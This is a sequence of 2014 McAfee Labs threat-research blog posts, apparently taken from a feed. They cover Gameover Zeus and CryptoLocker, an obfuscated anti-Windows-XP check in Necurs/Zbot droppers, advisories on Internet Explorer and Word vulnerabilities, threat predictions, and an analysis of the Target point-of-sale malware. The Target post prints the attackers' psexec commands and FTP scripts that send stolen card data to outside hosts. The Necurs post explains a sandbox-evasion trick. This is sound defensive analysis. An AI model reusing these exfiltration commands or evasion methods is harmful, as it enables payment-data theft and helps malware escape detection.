The two are in fact very different. Once Gameover Zeus finds its way onto a victim’s computer, it attempts to steal information from the victim. It has been used successfully by cybercriminals in all manner of attacks. From the theft of online banking credentials, credit card numbers, and even the login credentials for online job boards, the trail of destruction behind Gameover Zeus has netted criminals millions of dollars. For example, in August 2012 alone one estimate suggests that more than 600,000 systems were infected, many of these in Fortune 500 firms.

Gameover Zeus is based on the original Zeus, but works differently in that it decentralizes the control system and creates a peer-based network. The malware injects itself into legitimate Windows processes to maintain persistence, and also hooks system and browser functions to inject “fake” content into a user’s browser to conceal fraudulent activity.

This method is highly effective when the criminal wants to wire out large sums of money from a business account, but needs to conceal the activity for as long as possible until the funds are gone and have posted to the criminal’s account. Variants of Gameover Zeus operate in a peer-to-peer manner, getting their updates and configurations from available hosts on the peer network—making it much more difficult to disrupt. Gameover Zeus also has a function to dynamically update the configuration file that contains the payload usually designed to steal funds from a user’s bank account.

The functionality of Gameover Zeus ranges from simple credential stealing to advanced methods that involve hijacking a victim’s bank account in real time, enabling the criminal to wire out large amounts undetected.

Victims are typically infected via spear phishing campaigns that use various browser- and web-based exploits to deliver the malware onto the target system. The actors behind Gameover Zeus are interested in financial gain; thus they target consumers and businesses with this malware.

CryptoLocker, on the other hand, is not as sneaky, and warns users that unless they hand over a sum of money the malware will encrypt the data on the system. Such ransomware provides only a short window for the user to transfer the funds to the criminals, and failure to do so will result in the files being encrypted and unusable. If your system has files that are encrypted, the Stinger removal tool will not be able to retrieve them.

CryptoLocker encrypts the files on the system and generates a pop-up demanding that the victim pay a ransom to get the private key to decrypt the files. The malware uses public key cryptography algorithms to encrypt the victim’s files. Once the victim’s machine is infected, the key is generated and the private key is sent to the criminal’s server. The malware typically gives the victim 72 hours before the CryptoLocker server is supposed to destroy the private key, making the files unrecoverable and unusable. Victims are also infected via phishing emails and botnets.

Combining global law enforcement, including the National Crime Agency (United Kingdom), the FBI, and Europol, as well as partners in the private sector, this operation will provide a unique opportunity for those who are infected to remove the infections. Victims of these malware need to take advantage of this opportunity because the criminals will attempt to re-establish their communications infrastructure as quickly as they can to continue stealing your data and money.

The post It’s ‘Game Over’ for Zeus and CryptoLocker appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/game-zeus-cryptolocker/feed/ 18
Necurs, Zbot Droppers Use Obfuscated Windows XP Detection to Bypass Automated Analysis https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/necurs-zbot-droppers-use-obfuscated-windows-xp-detection-bypass-automated-analysis/ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/necurs-zbot-droppers-use-obfuscated-windows-xp-detection-bypass-automated-analysis/#respond Wed, 21 May 2014 08:16:00 +0000 http://blogs.mcafee.com/?p=35541 This blog was written by Sanchit Karve. McAfee Labs has recently come across a number of malware samples that drop Zbot and Necurs rootkits. These use a discreet technique to intentionally crash Windows XP. Interestingly, the malware achieves its OS awareness without using any standard Windows API functions. Instead, it relies on the differences in […]

The post Necurs, Zbot Droppers Use Obfuscated Windows XP Detection to Bypass Automated Analysis appeared first on McAfee Blogs.

]]>
This blog was written by Sanchit Karve.

McAfee Labs has recently come across a number of malware samples that drop Zbot and Necurs rootkits. These use a discreet technique to intentionally crash Windows XP. Interestingly, the malware achieves its OS awareness without using any standard Windows API functions. Instead, it relies on the differences in default register values as well as its own entry point for Windows XP and Windows 7.

It is unclear exactly why the malware does this but it may be for one or more of the following reasons:

  • Preventing the detection of operating system awareness by static malware analysis systems that look for GetVersion() or Version Helper calls.
  • Preventing behavioral analysis of samples replicated on Windows XP, which isn’t uncommon. After all, several public malware analyzers– VirusTotal, Anubis, and others–use Windows XP by default. We can see that the sample fails to replicate on those systems. You can see the result of this technique thanks to Joe Security’s public listing of a sample’s execution results on both Windows XP and Windows 7, in which it’s clear that the sample replicates on Windows 7 but fails to do so on Windows XP.
  • The packaged Zbot and Necurs rootkit were not designed for Windows XP.
  • The malware distributors have no interest in infecting Windows XP systems.

The Windows XP detection method is spread out across functions to make it difficult to (automatically or manually) identify its intention. The technique depends on the default values of registers EDI and EDX as well as on the sample entry-point address, which was probably conceived using information from Ange Albertini’s research on the subject.

Static analysis of the anti-Windows XP approach

At 0x40179C the samples push the default value of EDI as one of the arguments to an inner function.

sanchitkarve_antixp_analysis1

In the inner function, ESI is set to the value of EDI and EDI is set to zero, after which the next inner function is called.

A hardcoded DWORD 0x6573E2BF (deceptively stored as a string) is pushed as an argument to the next inner function.

sanchitkarve_antixp_analysis3-B

At this stage the hardcoded DWORD is set in EAX while the value of EDI (stored in ESI) is pushed on the stack as an argument to the has_antiXPCode() function.
It uses a well-known but nifty trick to fool smarter disassemblers into thinking that it’s an argument for the is_never_called() function, even though that function is in fact never called. It is actually an argument to the has_antiXPCode() function.

sanchitkarve_antixp_analysis4-B

After all the variables are set up, the sample is finally ready to perform the OS check.

sanchitkarve_antixp_analysis5-B

The samples first restore the original value of EDI (using the instruction: mov edi, esi). EDI appears to be subtracted by another value but is just an obfuscation. When executed, this value (at ECX + 0xC) is always zero and does not change the original value of EDI. ECX is then modified as follows:

ECX = EAX + 0x144 + f(EDI) (where f is a function of a sequence of subtraction, right-shifts, and multiplication functions on EDI).

The function f itself is irrelevant and is present only to obfuscate. What is important, though, is that ECX now has a value of at least 0x6573E403 (the hardcoded constant + 0x144). This value is then assigned to EBX like so: EBX = ECX + (original_EDI_value – 4). This causes EBX to also have a large value and is necessary for the sample to crash if Windows XP is detected.

The next bit sets the zero flag by decrementing ECX and checking if its least significant bit (LSB) is set (using the instruction: test cl, 1). The hardcoded constant and the function f() is specifically chosen such that the LSB of ECX is never set, causing the zero flag to be set by the test instruction. However, just in case the numbers don’t work out, the malware author has added a sanity check to confirm that the zero flag has been set by exiting the function immediately if it isn’t.

Finally, the sample checks if the LSB of the EDX register is set. If it is, the test instruction unsets the zero flag causing the jump at the JNZ instruction to be taken to the location that calls the maliciousCodePath() function. If it isn’t, the jump is not taken and is likely to cause an access violation when [ebx + 4] is read as EBX contains a large value (at least 0x6573E403) that is probably not accessible by the process.

To make sense of this process, let’s look at the default values of the EDX and EDI registers on Windows XP and Windows 7 (at entry point):

Windows XP Windows 7
EDX 0x7C90E4F4 (ntdll.KiFastSystemCallRet) 0x0040524D (ModuleEntryPoint)
EDI 0x7C910208 0x00000000

Windows XP

Since the LSB of EDX is not set, the zero flag will be set by the instruction test dl, 1. This ensures that the jump to the location where the real malicious code is executed is never called and instead moves to a part of the code where the value at the address stored in EBX is read. But as EDI is set to 0x7C910208 on Windows XP, EBX eventually attempts to read the value (0xE3FB0E8E), which exists in system memory and is inaccessible from user mode, thus guaranteeing an access violation.

Windows 7

On Windows 7, EDX is always set to the entry point of the process being executed. The samples in question have been crafted such that their entry point is at an address whose LSB is set to 0x40424D. Due to this, the test instruction will unset the zero flag causing the jump to take place and execute the malicious code.

Even though the sample uses a convoluted technique to achieve OS awareness, at its heart it simply checks the default value of EDX as demonstrated by this C program:

sanchitkarve_antixp_simplifiedcode

When compiled with the /ENTRY:xpcheck linker switch, the resulting binary can detect Windows XP.

sanchitkarve_antixp_simplifiedcoderesultwinxp

sanchitkarve_antixp_simplifiedcoderesultwin7

McAfee detects these malware variants as PWSZbot-FQC. The Necurs rootkit can be removed using Rootkit Remover.

Samples that use this technique (MD5)

e3399b629fcd534726739fc8792d1a2a
074d8bb5443cd0640fb8ec3896106baa
6c7cb0625df7b4a8a76168ce26cce7d1
220516c214afc9aa340c145937f299b4
2e1c10912ef4a578160414616400fca3
a5923e1efd90be7542c779184f4a7843
5eda655aa0dfacf975e20b52f64073c6

The post Necurs, Zbot Droppers Use Obfuscated Windows XP Detection to Bypass Automated Analysis appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/necurs-zbot-droppers-use-obfuscated-windows-xp-detection-bypass-automated-analysis/feed/ 0
Product Coverage and Mitigation for CVE-2014-1776 (Microsoft Internet Explorer) https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/product-coverage-mitigation-cve-2014-1776-microsoft-internet-explorer/ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/product-coverage-mitigation-cve-2014-1776-microsoft-internet-explorer/#comments Mon, 28 Apr 2014 20:26:31 +0000 http://blogs.mcafee.com/?p=35024 On April 26, Microsoft released Security Advisory 2963983 for Microsoft Internet Explorer. In-the-wild exploitation of this vulnerability has been observed across limited, targeted attacks. The flaw is specific to a use-after-free vulnerability in VGX.DLL (memory corruption). Successful exploitation can give an attacker the ability to run arbitrary code (via remote code execution). The flaw affects […]

The post Product Coverage and Mitigation for CVE-2014-1776 (Microsoft Internet Explorer) appeared first on McAfee Blogs.

]]>
On April 26, Microsoft released Security Advisory 2963983 for Microsoft Internet Explorer. In-the-wild exploitation of this vulnerability has been observed across limited, targeted attacks. The flaw is specific to a use-after-free vulnerability in VGX.DLL (memory corruption). Successful exploitation can give an attacker the ability to run arbitrary code (via remote code execution). The flaw affects the following:

  • Microsoft Internet Explorer 6
  • Microsoft Internet Explorer 7
  • Microsoft Internet Explorer 8
  • Microsoft Internet Explorer 9
  • Microsoft Internet Explorer 10
  • Microsoft Internet Explorer 11

 

Current McAfee Product Coverage and Mitigation

  • McAfee Vulnerability Manager:  The FSL/MVM package of April 28 includes a vulnerability check to assess if your systems are at risk.
  • McAfee VirusScan (AV):  The 7423 DATs (release date April 29, 2014) provide coverage for perimeter/gateway products and the command-line scanner-based technologies.  Full detection capabilities, across all products, will be released in the 7428 DAT update (release date May 4, 2014).
  • McAfee Web Gateway (AV): The 7423 DATs (release date April 29, 2014) provide coverage.
  • McAfee Network Security Platform (NIPS): The UDS Release of April 28 contains detection.
    • Attack ID: 0x4512e700
    • Name: “UDS-HTTP: Microsoft Internet Explorer CMarkup Object Use-After-Free vulnerability”
  • McAfee Host Intrusion Prevention (HIPS):  Generic buffer overflow protection is expected to cover code execution exploits.
  • McAfee Next Generation Firewall (NGFW): Update package 579-5211 (released April 29, 2014) provides detection.
  • McAfee Application Control: McAfee Application Control provides coverage via the MP-CASP feature. Whitelisting will also prevent post exploitation behavior (ex: execution of dropped executables or the loading of dropped dlls.)

 

Resources

The post Product Coverage and Mitigation for CVE-2014-1776 (Microsoft Internet Explorer) appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/product-coverage-mitigation-cve-2014-1776-microsoft-internet-explorer/feed/ 3
Product Coverage and Mitigation for CVE-2014-1761 (Microsoft Word) https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/product-coverage-mitigation-cve-2014-1761-microsoft-word/ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/product-coverage-mitigation-cve-2014-1761-microsoft-word/#comments Tue, 25 Mar 2014 17:53:37 +0000 http://blogs.mcafee.com/?p=34165 On March 24, Microsoft released Security Advisory 2953095 for Microsoft Word. In-the-wild exploitation of this vulnerability has been observed across limited, targeted attacks. The flaw is a memory-corruption vulnerability that can be invoked when parsing specially crafted RTF files or data. Successful exploitation can give an attacker the ability to run arbitrary code (via remote […]

The post Product Coverage and Mitigation for CVE-2014-1761 (Microsoft Word) appeared first on McAfee Blogs.

]]>
On March 24, Microsoft released Security Advisory 2953095 for Microsoft Word. In-the-wild exploitation of this vulnerability has been observed across limited, targeted attacks. The flaw is a memory-corruption vulnerability that can be invoked when parsing specially crafted RTF files or data. Successful exploitation can give an attacker the ability to run arbitrary code (via remote code execution). The flaw affects the following:

  • Microsoft Office Compatibility Pack Service Pack 3
  • Microsoft Office for Mac 2011
  • Microsoft Office Web Apps 2010 Service Pack 1
  • Microsoft Office Web Apps 2010 Service Pack 2
  • Microsoft Office Web Apps Server 2013
  • Microsoft Word 2003 Service Pack 3
  • Microsoft Word 2007 Service Pack 3
  • Microsoft Word 2010 Service Pack 1 (32-bit editions)
  • Microsoft Word 2010 Service Pack 1 (64-bit editions)
  • Microsoft Word 2010 Service Pack 2 (32-bit editions)
  • Microsoft Word 2010 Service Pack 2 (64-bit editions)
  • Microsoft Word 2013 (32-bit editions)
  • Microsoft Word 2013 (64-bit editions)
  • Microsoft Word 2013 RT
  • Microsoft Word Viewer
  • Word Automation Services on Microsoft SharePoint Server 2010 Service Pack 1
  • Word Automation Services on Microsoft SharePoint Server 2010 Service Pack 2
  • Word Automation Services on Microsoft SharePoint Server 2013

 

Current McAfee product coverage and mitigation

  • McAfee Vulnerability Manager: The FSL/MVM package of March 24 includes a vulnerability check to assess if your systems are at risk.
  • McAfee Host Intrusion Prevention (HIPS): Generic buffer overflow protection is expected to cover code execution exploits.
  • McAfee Network Intrusion Prevention / Network Security Platform (NIPS) : The NSP release of March 27 will include coverage for this threat.
  • Stonesoft (NGFW):  Coverage is provided in Update Package 572-5211 (Released March 27, 2014)
  • McAfee VirusScan (AV): Coverage is provided as Exploit-CVE2014-1761.
  • McAfee Web Gateway (AV): Coverage is provided as Exploit-CVE2014-1761.

 

Cryptocurrency mining

Microsoft’s blog post highlights IP address 185.12.44.51 as a command and control host. This same host has multiple Bitcoin transactions associated with it as a relay. These can be queried and observed via Blockchain.info. As of this writing, the cumulative balance across the associated Bitcoin wallets is BTC 193.5043147 (about US$111,600).

3img2

 

cve_btc_1

 

 

 

Resources

 

 

The post Product Coverage and Mitigation for CVE-2014-1761 (Microsoft Word) appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/product-coverage-mitigation-cve-2014-1761-microsoft-word/feed/ 3
January 2014 #SecChat Wrap-up — Threat Predictions https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/january-2014-secchat-wrap-threat-predictions/ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/january-2014-secchat-wrap-threat-predictions/#respond Fri, 07 Feb 2014 23:14:19 +0000 http://blogs.mcafee.com/?p=33152 Threats seem to be top of mind for the masses of late—with three large-scale attacks on major brands already this year, potentially compromising the financial data and identity of millions. And things don’t show signs of slowing down. Each year, security threats become more sophisticated and difficult to identify, with 2014 expected to be the […]

The post January 2014 #SecChat Wrap-up — Threat Predictions appeared first on McAfee Blogs.

]]>
Threats seem to be top of mind for the masses of late—with three large-scale attacks on major brands already this year, potentially compromising the financial data and identity of millions. And things don’t show signs of slowing down. Each year, security threats become more sophisticated and difficult to identify, with 2014 expected to be the same. Cybercriminals are constantly looking for new avenues of penetration into enterprise systems and consumer data, while security professionals across the board are wondering where the next attack will come from and how they’ll combat the growing variety of potential breaches aimed at their network and endpoint defenses.

With this in mind, McAfee Labs researchers recently released the McAfee Labs 2014 Threats Predictions report, detailing what we see as the biggest security concerns for the next 12 months.

Mobile malware, ransomware, social attacks, and big data topped our list. However, while compiling the report, we decided that we probably weren’t the only security professionals with predictions. So on January 30, we hosted a Twitter chat with Adam Wosotowsky, McAfee Labs Anti-Spam Operations Technology Principal, and Ryan Sherstobitoff, McAfee Labs Threat Researcher, to spark conversation around the topic.

For about an hour, security professionals and other interested individuals gathered on Twitter to talk shop around a variety of security issues—from big data to high-profile breaches. Below are some highlights from the chat.

What are your security predictions?

We started off by opening the floor to anyone who wanted to share their own ideas on 2014 threats. We saw two common threads emerge. First, a number of security professionals cited specific types of attacks they predicted to be on the rise in 2014.

Screen Shot 2014-02-07 at 2.20.32 PM Screen Shot 2014-02-07 at 2.27.49 PM

Meanwhile, another conversation was arising around “psychological threats.” The topic that got the most attention was @securelexicon’s thoughts on what he referred to as apathy.

Screen Shot 2014-02-07 at 2.31.26 PM

Screen Shot 2014-02-07 at 2.35.34 PM

Screen Shot 2014-02-07 at 2.38.42 PM

Next, the group delved into specific types of attacks mentioned by participants and in the report.

Target, Neiman Marcus: What’s next?

2014 started off with a bang for the information security community, with the high-profile breaches of Target, Neiman Marcus, and Michaels Stores. We asked our participants if this was a sign of bigger attacks to come.

Screen Shot 2014-02-07 at 2.40.41 PM

Most participants saw the number of high-profile breaches as an indicator that companies weren’t doing enough to maximize their customers’ security. @VirtualTal said that companies were simply concerned with compliance, and not actually securing their data. @aamirlakhani and @SCADAhacker agreed that companies should invest in “detection and response and not just prevention.”

It wasn’t all negative however, as @RickChrisos was quick to suggest that perhaps these headline-grabbing breaches will open the eyes of big organizations, resulting in increased security for the future.

Screen Shot 2014-02-07 at 2.41.39 PM

Advanced Malware, Big Data, and IoT

Three of the biggest trends discussed during our #SecChat related to emerging technologies, and how the security industry will have to respond to these developments.

First, we asked the group about their biggest challenge regarding advanced malware. Many participants, such as @Wh1t3Rabbit and @jtyrus, thought the biggest issue is that it continues to be difficult to detect. The consensus was that the security community will need to go further in looking for vulnerabilities and providing penetration tests. @GetZeroFOX had a theory on why we continue to see the amount of advanced malware grow.  Screen Shot 2014-02-07 at 3.11.19 PM

The conversation on advanced malware transitioned to a discussion on big data. Some participants, such as @TomGarcia_IS, saw big data and cloud applications as overall threats to company security. Others, such as @aamirlakhani, see big data as an opportunity.

Screen Shot 2014-02-07 at 2.45.07 PMScreen Shot 2014-02-07 at 2.48.13 PM

Finally, we discussed one of 2014’s hottest topics to date – “the Internet of Things.” While IoT can be an exciting trend for consumers, most security professionals view it as a concern, as there are still more than a few security vulnerabilities present in new “smart” devices.

Screen Shot 2014-02-07 at 2.57.00 PMScreen Shot 2014-02-07 at 2.58.02 PMScreen Shot 2014-02-07 at 3.04.41 PM

Overall, last week’s #SecChat was quite the interesting snapshot of where threats are expected to be headed in 2014. To stay up-to-date on the latest in security news and issues, be sure to follow #SecChat host @McAfeeBusiness on Twitter. 

The post January 2014 #SecChat Wrap-up — Threat Predictions appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/january-2014-secchat-wrap-threat-predictions/feed/ 0
Analyzing the Target Point-of-Sale Malware https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/analyzing-the-target-point-of-sale-malware/ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/analyzing-the-target-point-of-sale-malware/#comments Thu, 16 Jan 2014 19:48:45 +0000 http://blogs.mcafee.com/?p=32598 January 21, 2014:  As more information comes to light, surrounding these events, we continue to identify and analyze additional components and behaviors.   To shed more detailed light on the malware specific to these events, our team in McAfee Labs has released an updated Threat Advisory entitled “McAfee Labs Threat Advisory: EPOS Data Theft“.  The […]

The post Analyzing the Target Point-of-Sale Malware appeared first on McAfee Blogs.

]]>
January 21, 2014:  As more information comes to light, surrounding these events, we continue to identify and analyze additional components and behaviors.   To shed more detailed light on the malware specific to these events, our team in McAfee Labs has released an updated Threat Advisory entitled “McAfee Labs Threat Advisory: EPOS Data Theft“.  The report covers specific traits and activity around this family, in addition to some background on “BlackPOS”.   Updated details around McAfee countermeasures and mitigation are included as well.

McAfee Labs Threat Advisory: EPOS Data Theft

Current AV Detections:

  • 6597DF782CBD7DC270BB12CDF95D21B4       BackDoor-FBPP
  • 5DBD7BC7A672DA61F6F43AAF6FA3C661       BackDoor-FBPP
  • BA443C2E10D0278FC30069F61BC56439       BackDoor-FBPP
  • 7F9CDC380EEED16EAAB3E48D59F271AA      PWS-FBOI
  • 3D5BF67955DC77AF4CA8BF6CB1F96065         PWS-FBOI
  • BA0F556CE558453AD1526409B5B69EF3         PWS-FBOI
  • F45F8DF2F476910EE8502851F84D1A6E          PWS-FBOJ
  • CE0296E2D77EC3BB112E270FC260F274        PWS-FBOJ
  • 4D445B11F9CC3334A4925A7AE5EBB2B7         BackDoor-FBPL
  • 7F1E4548790E7D93611769439A8B39F2           BackDoor-FBPL
  • 762DDB31C0A10A54F38C82EFA0D0A014      BackDoor-FBPL
  • C0C9C5E1F5A9C7A3A5043AD9C0AFA5FD      BackDoor-FBPL

Additional Countermeasures

  • McAfee Application Control – Run-Time Control locks down systems and provides protection in the form of Execution Control and Memory Protection.

Malware of this variety will typically be targeted.  The adversaries will activly attempt to evade AV detection where possible.  It is critical to apply countermeasures outside the typical AV scanning procedures.  Application Control/Whitelisting will be extremely successful in blocking/inhibiting these tools. In addition, network monitoring and controls (real-time monitoring and intelligent analytics of SIEM data) will allow for victims to know exactly what malicious behaviors are occurring in their environment at the time of compromise, and where the artifacts/indicators are.

January 16, 2014: In the last 24 hours, McAfee Labs has started to piece together more and more detail on the malware that is apparently tied to the campaign against Target. To recap, in November 2013 the retailer was compromised via undisclosed methods. The attackers were able to plant point-of-sale malware and intercept approximately 110,000,000 records worth of payments, transactions, and other personally identifiable data. Working backward, we can start to see evidence of the activity in December (prior to the story’s breaking) based on underground chatter, VirusTotal submissions, and other open-source intelligence sources.

Although there is no official confirmation, we have credible evidence to indicate that the malware used in the Target stores attack is related to existing malware kits sold in underground forums. Related samples to date are somewhat similar in function to (and possibly derived from) known “BlackPOS” samples.

Sample Information/Sources

  • ce0296e2d77ec3bb112e270fc260f274–ThreatExpert (cache)
  • F45F8DF2F476910EE8502851F84D1A6E–ThreatExpert (cache)
  • 7f1e4548790e7d93611769439a8b39f2–VirusTotal
  • 4d445b11f9cc3334a4925a7ae5ebb2b7–VirusTotal
  • 762ddb31c0a10a54f38c82efa0d0a014–Virus Total
  • c0c9c5e1f5a9c7a3a5043ad9c0afa5fd–VirusTotal

7f1e4548790e7d93611769439a8b39f2 and 4d445b11f9cc3334a4925a7ae5ebb2b7 are uploaders that reveal many useful details about data collection, data transfer, and possibly the actor behind the campaign.

Possible Actor/Attribution Data

Both uploaders contain the following string (compile path)

  • z:\Projects\Rescator\uploader\Debug\scheck.pdb

Rescator is a known actor in various cybercrime forums:

forum

 

 

 

 

Data Collection and Transfer

Data is collected and transferred to internal shares via the following command syntax:

  • c:\windows\system32\cmd.exe, c:\windows\system32\cmd.exe /c psexec /accepteula \\<EPOS_IPaddr> -u <username> -p <password> cmd /c “taskkill /im bladelogic.exe /f”
  • c:\windows\system32\cmd.exe, c:\windows\system32\cmd.exe /c psexec /accepteula \\<EPOS_IPaddr> -u <username> -p <password> -d bladelogic
  • c:\windows\system32\cmd.exe, c:\windows\system32\cmd.exe /c move \\<EPOS_IPaddr>\nt\twain_32a.dll c:\program files\xxxxx\xxxxx\temp\data_2014_1_16_15_30.txt
  • c:\windows\system32\cmd.exe, c:\windows\system32\cmd.exe /c ftp -s:c:\program files\xxxxx\xxxxx\temp\cmd.txt

Note: The reference to “bladelogic” is a method of obfuscation.  The malware does not compromise, or integrate with, any BMC products in any way.   The executable name “bladelogic.exe” does not exist in any piece of legitimate BMC software.

“ttcopscli3acs” is reportedly a Windows domain name used within Target stores.

7f1e4548790e7d93611769439a8b39f2 and 4d445b11f9cc3334a4925a7ae5ebb2b7 drop the following script upon execution:

——————————————
open xxx.xxx.xxx.xx

%name%

%password%

cd public_html

cd cgi-bin

bin

send C:\Program Files\xxxxxx \xxxxxxxx\Temp\data_2014_%_%_%%_%%.txt

quit

——————————————

Similar scripts are present in 762ddb31c0a10a54f38c82efa0d0a014 and c0c9c5e1f5a9c7a3a5043ad9c0afa5fd.

——————————————
open xx.xxx.xxx.xx

%name%

%password%

cd 001

bin

send C:\Program Files\xxxxxx \xxxxxxxx\Temp\data_2014_data_2014_%_%_%%_%%.txt

quit

——————————————

——————————————
open xx.xx.xxx.xx

%name%

%password%

cd etc

bin

send C:\Program Files\xxxxxx \xxxxxxxx\Temp\data_2014_data_2014_%_%_%%_%%.txt

quit

——————————————

Compilation Dates

  • 762ddb31c0a10a54f38c82efa0d0a014 – Sat Nov 30 17:52:00 2013 UTC
  • 4d445b11f9cc3334a4925a7ae5ebb2b7 – Sat Nov 30 17:21:17 2013 UTC
  • c0c9c5e1f5a9c7a3a5043ad9c0afa5fd – Tue Dec  3 00:15:01 2013 UTC
  • 7f1e4548790e7d93611769439a8b39f2 – Sat Nov 30 17:38:23 2013 UTC

 

The post Analyzing the Target Point-of-Sale Malware appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/analyzing-the-target-point-of-sale-malware/feed/ 1
2014 Threats Predictions: Network and Host Attacks Will Again Target Adobe and Microsoft Apps, Java https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/2014-threats-predictions-network-and-host-attacks-will-again-target-adobe-and-microsoft-apps-java/ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/2014-threats-predictions-network-and-host-attacks-will-again-target-adobe-and-microsoft-apps-java/#respond Mon, 13 Jan 2014 19:51:31 +0000 http://blogs.mcafee.com/?p=32540 This post is one in a series of articles that expand on the recently released McAfee Labs 2014 Threats Predictions. In this and related posts, McAfee Labs researchers offer their views of new and evolving threats we expect to see in the coming year. This article was written by Bing Sun, with assistance from Andy […]

The post 2014 Threats Predictions: Network and Host Attacks Will Again Target Adobe and Microsoft Apps, Java appeared first on McAfee Blogs.

]]>
This post is one in a series of articles that expand on the recently released McAfee Labs 2014 Threats Predictions. In this and related posts, McAfee Labs researchers offer their views of new and evolving threats we expect to see in the coming year. This article was written by Bing Sun, with assistance from Andy Cheng, Yingwu Han, Haifei Li, Qiang Liu, Shennan Wang, Jun Xie, Chong Xu, and Stanley Zhu.

Our research into threats to networks and applications shows us three top targets of malware developers. They aim zero-day and advanced persistent threat attacks against vulnerabilities in Microsoft Internet  Explorer (including IE plug-ins and ActiveX), Adobe applications (including PDF and Flash), and Sun’s Java. We also see vulnerabilities in Microsoft Office applications and other Windows native components (such as GDI +, the kernel module, and drivers) exploited in the wild. These targets are favorites each year for attackers, so it’s not hard to predict where they will look in 2014.

  • Browsers will remain the primary target for remote code execution attacks. Browsers have a range of factors that can be leveraged for exploitation, such as third-party plug-ins and various scripting-language support.
  • The prevalence of vulnerabilities in Adobe applications will increase, perhaps related to source-code leakage. Adobe product vulnerabilities, especially in Flash, are often used in conjunction with other application vulnerabilities (in browsers, Office, etc.) to bypass protections.
  • Java vulnerabilities and exploits, either of the Java virtual machine or native component layer, will remain very popular. Compared with memory corruption issues, Java exploits don’t require a shellcode-like payload; thus they are more reliable and easier to make. Although Java enhanced its security in Version 7.0—a security alert will prompt users before running any unsigned applet, for example—many users will choose to disable the alert to avoid the noise. Moreover, we suspect many Java users still use old or unsupported versions due to compatibility issues with legacy Java apps or simply bad habits. This would explain why so many old Java vulnerabilities are still actively exploited by exploit kits.
  • Attackers will continue to find holes in Office. Our analysis of the recent Office exploit CVE-2013-3906 (TIFF embedded in .docx) reminded us that Office documents employ a compound-document format that is designed to allow many other types of content (such as OLE objects). Such a rich set of features, some perhaps unknown or hidden, will inspire attackers to find new weaknesses in these applications. From this exploit, we know that a Word document can embed a number of ActiveX binaries to do heap sprays, and can load an incompatible module (VB6) to completely disable data execution prevention for the entire process.
  • Kernel-mode elevation of privilege vulnerabilities will be widely exploited in combination with other application vulnerabilities to achieve both temporary and persistent infections. As we see in Microsoft’s Patch Tuesday security bulletin data, there are often new patches for kernel-mode vulnerabilities, notably in the GUI subsystem (win32k.sys). Kernel-mode issues accounted for roughly one-quarter of all Microsoft product vulnerabilities in 2013. Considering the complexity of kernel-mode components, we can foresee that the number of kernel vulnerabilities of 2014 will be at least as high as in 2013.

To add to our worries, exploits have become more advanced in their reliability, persistence, and ability to bypass various protections. Further predictions:

  • Native operating system and application protection mechanisms are not adequate to detect and stop advanced exploits. Attackers will increase their efforts to break these defenses in 2014. Although both OS and application vendors have made many security improvements, attackers can always find new ways to create reliable exploits, which was well demonstrated in the 2013 Pwn2Own hacker contest. For example, the combination of data execution prevention and address space layout randomization can be easily defeated by memory information leaks and return-oriented programming.
  • Many exploits are now aware of the existence of network and endpoint security software. As we have observed during our research, the trick of API hook hopping has become a standard weapon of advanced shellcode to prevent its execution from being monitored. We have seen this technique in wide use, especially in zero-day exploits. We expect exploit tools such as Metasploit Framework and Canvas may soon add this feature.
  • Many applications have implemented “sandbox” solutions to confine malicious behaviors in a restricted environment to minimize their impact. Office, Adobe Reader, and Google Chrome each have a sandbox implementation. To break out of an application-level sandbox and do malicious things to a whole system, an attacker will have to use more than one vulnerability and achieve a multistage exploitation. An elevation of privilege vulnerability can help an attacker escape from the sandbox and install malware on the compromised system. Here’s where a kernel-mode vulnerability will come in handy because it can let an attacker run code in Ring 0. We expect more attackers to take advantage of kernel exploits to escape application-level sandbox products.
  • We believe exploits (especially zero day and advanced persistent threats) will soon evolve to include features that defeat sandboxing. First, exploits will become stealthier, especially during the postexploitation stage. They will try to leave as few footprints as possible because sandbox detection relies heavily on postinfection behaviors to identify an attack. Further, more exploits will begin to detect or even escape from a sandbox. Although the latter seems difficult, it is possible.

The post 2014 Threats Predictions: Network and Host Attacks Will Again Target Adobe and Microsoft Apps, Java appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/2014-threats-predictions-network-and-host-attacks-will-again-target-adobe-and-microsoft-apps-java/feed/ 0
2014 Threats Predictions: Cybercrime and Hacktivism Will Continue to Grow https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/2014-threats-predictions-cybercrime-and-hacktivism-will-continue-to-grow/ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/2014-threats-predictions-cybercrime-and-hacktivism-will-continue-to-grow/#respond Thu, 09 Jan 2014 00:33:52 +0000 http://blogs.mcafee.com/?p=32459 This post is one in a series of articles that expand on the recently released McAfee Labs 2014 Threats Predictions. In this and related posts, McAfee Labs researchers offer their views of new and evolving threats we expect to see in the coming year. This article was written by François Paget. The Bitcoin saga will […]

The post 2014 Threats Predictions: Cybercrime and Hacktivism Will Continue to Grow appeared first on McAfee Blogs.

]]>
This post is one in a series of articles that expand on the recently released McAfee Labs 2014 Threats Predictions. In this and related posts, McAfee Labs researchers offer their views of new and evolving threats we expect to see in the coming year. This article was written by François Paget.

The Bitcoin saga will continue

